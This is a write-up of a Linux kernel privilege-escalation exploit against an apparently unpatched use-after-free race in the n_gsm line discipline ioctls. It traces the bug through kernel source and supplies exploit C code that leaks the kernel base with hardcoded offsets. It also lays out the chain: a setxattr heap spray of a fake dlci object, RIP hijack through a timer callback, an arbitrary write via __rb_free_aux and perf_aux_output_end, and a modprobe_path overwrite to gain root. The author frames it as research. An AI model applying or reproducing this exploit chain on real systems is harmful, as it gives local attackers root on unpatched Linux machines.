This appears to still be a 0-day. I had no intention of publishing this exploit before the vulnerability was patched, but a 0-day exploit was published by another researcher who found the same vulnerability, so I published my code as well. Please use this for research purposes only.

RCA

[1] GSMIOC_SETCONF: Resets the configuration of GSM.

[2] GSMIOC_GETCONF_DLCI: Retrieves the DLCI configuration associated with GSM.

[3] GSMIOC_SETCONF_DLCI: Changes the DLCI configuration associated with GSM.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • Let's first examine GSMIOC_SETCONF, which changes the configuration of GSM.

  • [1] If the current configuration of GSM differs from the new configuration, need_restart is marked as true.

    [2] If need_restart is true, the current GSM is terminated through gsm_cleanup_mux.

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] All DLCIs owned by GSM are released through gsm_dlci_release.

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • Subsequently, functions are called in the following order:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] NULL is assigned to gsm->dlci[addr] to prevent Use-After-Free (UAF).

    [2] Afterwards, gsm->dlci[addr] is freed using kfree.

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • Let's examine GSMIOC_SETCONF_DLCI, which changes the configuration values of a DLCI owned by GSM.

  • [1] Reads the DLCI configuration, including the address (addr), from the user.

    [2] References gsm->dlci[addr].

    [3] Calls gsm_dlci_config to change the configuration of the DLCI.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] Sets need_open to true based on the options passed by the user.

[2] Waits until dlci->state becomes DLCI_CLOSED.

[3] If only gsm->initiator is true, the gsm_dlci_begin_open function is called to restart the DLCI.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

vulnerability

[1] Accesses gsm->dlci without a lock.

[1] gsm_dlci_config accesses dlci. If gsm_cleanup_mux has been called due to GSMIOC_SETCONF, a race condition can lead to Use-After-Free (UAF).

  • Under normal circumstances, the condition is met within a very short time, and wakeup is called.
  • If UAF occurs, unless a different IOCTL is requested from the user level to call the wakeup routine, it enters an infinite wait.
  • Therefore, an attacker can determine whether UAF has been triggered by measuring the duration until the IOCTL completes.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • During the wait in wait_event_interruptible, GSM is restarted by threadFunction2.
    • The DLCI referenced by GSM is kfreed, and the DLCI referenced by wait_event_interruptible is also kfreed.
    • In such a scenario, since the IOCTL takes a long time to complete, it's easy to detect from the user space that Use-After-Free (UAF) has occurred.

Leak Kernel Base

  • The address of the kernel's hypercall_page is written in /sys/kernel/notes, which is readable by regular users. Therefore, an attacker can read this file to leak the kernel base.
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;

    file = fopen(filePath, "rb");
    if (!file) {
        perror("File open failed");
        return EXIT_FAILURE;
    }
    int count = 0;
    unsigned long hypercall_page=0;
    while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) {
        for (int i = 0; i < bytesRead - sizeof(pattern); ++i) {
            if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) {
                if (i + sizeof(pattern) - 1 + 8 <= bytesRead) {
                    uint64_t value;
                    memcpy(&value, buffer + i + sizeof(pattern) - 1, 8);
                    if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){
                        hypercall_page=value;
                        break;
                    }
                }
            }
        }
    }
    if(hypercall_page==0){
        printf("fail to get hypercall_page\\n");
        exit(1);
    }
    kernel_base = hypercall_page - 0x1119000;
    modprobe_path = kernel_base + 0x23d8960;
    kernfs_pr_cont_buf = kernel_base +0x3910d00;
    __rb_free_aux = kernel_base + 0x37ac90;
    perf_aux_output_end = kernel_base + 0x37bf20;
    
    printf("hypercall_page: 0x%lx\\n", hypercall_page);
    printf("kernel_base = 0x%lx\\n",kernel_base);
    printf("modprobe_path = 0x%lx\\n",modprobe_path);
    printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux);
    printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf);
    
    fclose(file);
    return EXIT_SUCCESS;
}

Writing at Kernel Area

To determine the address of our fake struct gsm_mux, we use a global static buffer to store it. By leveraging iptables to add an invalid cgroup filter, the buffer kernfs_pr_cont_buf gets populated with our payload data. This process requires adjustments.

Spraying Fake gsm_dlci Object

  • To create a fake dlci, we use setxattr to spray data that fits into the kmalloc-1k cache.
    • At this juncture, the part of dlci corresponding to dlci->state must be set to DLCI_CLOSED to exit from wait_event_interruptible.

[1] From this point onwards, the values of each member of dlci can be controlled by the attacker.

[2] dlci->gsm can be set to a pointer controlled by the attacker. Thus, gsm->mtu reads values from an arbitrary pointer. This setup allows dlci->mtu to be read using gsm_dlci_copy_config_values, enabling Kernel Address Read Arbitrary (AAR), although it is not used in this exploit.

[3] All values of the dlci passed as arguments to gsm_dlci_begin_open can be controlled by the attacker. This should be kept in mind when reviewing the following code.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
	}
	/*
	 * Setup the new configuration values
	 */
	dlci->adaption = (int)dc->adaption;

	if (dc->mtu)
		dlci->mtu = (unsigned int)dc->mtu;
	else
		dlci->mtu = gsm->mtu;//[2]

	if (dc->priority)
		dlci->prio = (u8)dc->priority;
	else
		dlci->prio = roundup(dlci->addr + 1, 8) - 1;

	if (dc->i == 1)
		dlci->ftype = UIH;
	else if (dc->i == 2)
		dlci->ftype = UI;

	if (dc->k)
		dlci->k = (u8)dc->k;
	else
		dlci->k = gsm->k;

	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

Fake Object to RIP Hijacking

[1] The functions are called in the sequence of gsm_dlci_negotiate → gsm_control_command → gsm_data_queue → __gsm_data_queue. In __gsm_data_queue, the message is composed based on the value of dlci->gsm->dlci[0]. To avoid crashes, it's necessary to appropriately set the values of dlci->gsm->dlci[0], but as this doesn't directly relate to the exploit, detailed explanations will be omitted.

[2] The timer is set using dlci->t1.

static void gsm_dlci_begin_open(struct gsm_dlci *dlci)
{
	struct gsm_mux *gsm = dlci ? dlci->gsm : NULL;
	bool need_pn = false;

	if (!gsm)
		return;

	if (dlci->addr != 0) {
		if (gsm->adaption != 1 || gsm->adaption != dlci->adaption)
			need_pn = true;
		if (dlci->prio != (roundup(dlci->addr + 1, 8) - 1))
			need_pn = true;
		if (gsm->ftype != dlci->ftype)
			need_pn = true;
	}

	switch (dlci->state) {
	case DLCI_CLOSED:
	case DLCI_WAITING_CONFIG:
	case DLCI_CLOSING:
		dlci->retries = gsm->n2;
		if (!need_pn) {
			dlci->state = DLCI_OPENING;
			gsm_command(gsm, dlci->addr, SABM|PF);
		} else {
			/* Configure DLCI before setup */
			dlci->state = DLCI_CONFIGURE;
			if (gsm_dlci_negotiate(dlci) != 0) {//[1]
				gsm_dlci_close(dlci);
				return;
			}
		}
		mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100);//[2]
		break;
	default:
		break;
	}
}
  • When looking at the timer_list, the type of the first argument to mod_timer, it includes:

[1] The amount of time until the timer triggers.

[2] The function that will be executed when the timer triggers.

  • Therefore, by setting dlci->t1.expires to a short duration, dlci->t1.function will be called almost immediately. Through this, an attacker can hijack the RIP (Return Instruction Pointer).

Rip Hijacking to AAW

[1] When calling timer_base->function, the first argument used is the timer_base itself.

  • In this case, since timer_base is dlci->t1, the vicinity of it (how much exactly is to be determined) is addressable by the attacker to set values.
static void expire_timers(struct timer_base *base, struct hlist_head *head)
{
...

	while (!hlist_empty(head)) {
		struct timer_list *timer;
		void (*fn)(struct timer_list *);
...
		fn = timer->function;
...
		if (timer->flags & TIMER_IRQSAFE) {
			raw_spin_unlock(&base->lock);
			call_timer_fn(timer, fn, baseclk);//[1]
			raw_spin_lock(&base->lock);
			base->running_timer = NULL;
		} else {
...
		}
	}
}
  • First, we call __rb_free_aux.

    [1] In __rb_free_aux, the first argument is referenced to obtain a function pointer and the first argument for that function. We can set the first argument to an arbitrary pointer, allowing us to call any function.

    • __rb_free_aux is manipulated to call perf_aux_output_end.
static void __rb_free_aux(struct perf_buffer *rb)
{
	int pg;

	/*
	 * Should never happen, the last reference should be dropped from
	 * perf_mmap_close() path, which first stops aux transactions (which
	 * in turn are the atomic holders of aux_refcount) and then does the
	 * last rb_free_aux().
	 */
	WARN_ON_ONCE(in_atomic());

	if (rb->aux_priv) {
		rb->free_aux(rb->aux_priv);//[1]
		rb->free_aux = NULL;
		rb->aux_priv = NULL;
	}

	if (rb->aux_nr_pages) {
		for (pg = 0; pg < rb->aux_nr_pages; pg++)
			rb_free_aux_page(rb, pg);

		kfree(rb->aux_pages);
		rb->aux_nr_pages = 0;
	}
}

[1] The first argument, handle, is used to retrieve rb.

[2] rb is dereferenced twice to place rb->aux_head at the pointed location. Therefore, rb->aux_head is written to the address set in rb->user_page. Through this, the attacker can achieve Arbitrary Address Write (AAW).

void perf_aux_output_end (struct perf_output_handle *handle, unsigned long size)
{
	bool wakeup = !!(handle->aux_flags & PERF_AUX_FLAG_TRUNCATED);
	struct perf_buffer *rb = handle->rb;//[1]
	unsigned long aux_head;
...
	WRITE_ONCE(rb->user_page->aux_head, rb->aux_head);//[2]
...
}

AAW to root

Afterward, the well-known modprobe_path technique is used. Since we have the capability to write 8 bytes to an arbitrary address, we can set modprobe_path to /tmp/b.